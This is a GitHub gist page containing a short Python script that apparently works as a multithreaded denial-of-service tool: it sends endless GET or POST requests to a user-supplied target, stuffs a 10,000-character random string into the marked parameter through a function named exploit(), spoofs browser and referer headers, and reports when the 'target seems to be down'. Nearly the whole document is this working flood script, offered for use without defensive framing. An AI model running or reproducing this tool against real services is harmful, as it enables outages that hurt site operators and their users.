Skip to content

Instantly share code, notes, and snippets.

@s0md3v
Created August 5, 2018 18:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save s0md3v/9fa1455978e511c06b06244d1be85e15 to your computer and use it in GitHub Desktop.
Save s0md3v/9fa1455978e511c06b06244d1be85e15 to your computer and use it in GitHub Desktop.
import random
import string
import requests
import argparse
import threading
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--threads', help='number of threads', dest='threads', type=int)
parser.add_argument('-r', '--referer', help='referer to use', dest='referer')
args = parser.parse_args()
threadsNum = 2
if args.threads:
threadsNum = args.threads
referer = 'https://www.google.com/search?q='
if args.referer:
referer = args.referer
headers = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0',
'Accept' : 'text/plain, */*; q=0.01',
'Accept-Encoding' : 'gzip',
'Referer' : referer,
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin' : 'https://codebeautify.org',
'Connection' : 'close'
}
def getParams(post_data):
params = {}
parts = data.split('&')
for part in parts:
each = part.split('=')
params[each[0]] = each[1]
return params
def exploit():
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=10000))
def looper(url, data, method):
while True:
if method == 'get':
resp = requests.get(url.replace('*', exploit()), headers=headers)
if resp.status_code != 200:
print ('> target seems to be down')
elif method == 'post':
resp = requests.post(url, params=data, headers=headers)
if resp.status_code != 200:
print ('> target seems to be down')
target = input('target> ')
url = target.split('t ')[1]
method = target.split('t ')[0] + 't'
if method == 'post':
post_data = input('post_data> ')
post_data = post_data.replace('*', exploit())
else:
post_data = ''
def threader(url, data, method):
threads = []
for x in range(threadsNum):
task = threading.Thread(target=looper, args=(url, data, method))
threads.append(task)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
del threads[:]
print ('> starting %i threads' % threadsNum)
threader(url, post_data, method)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment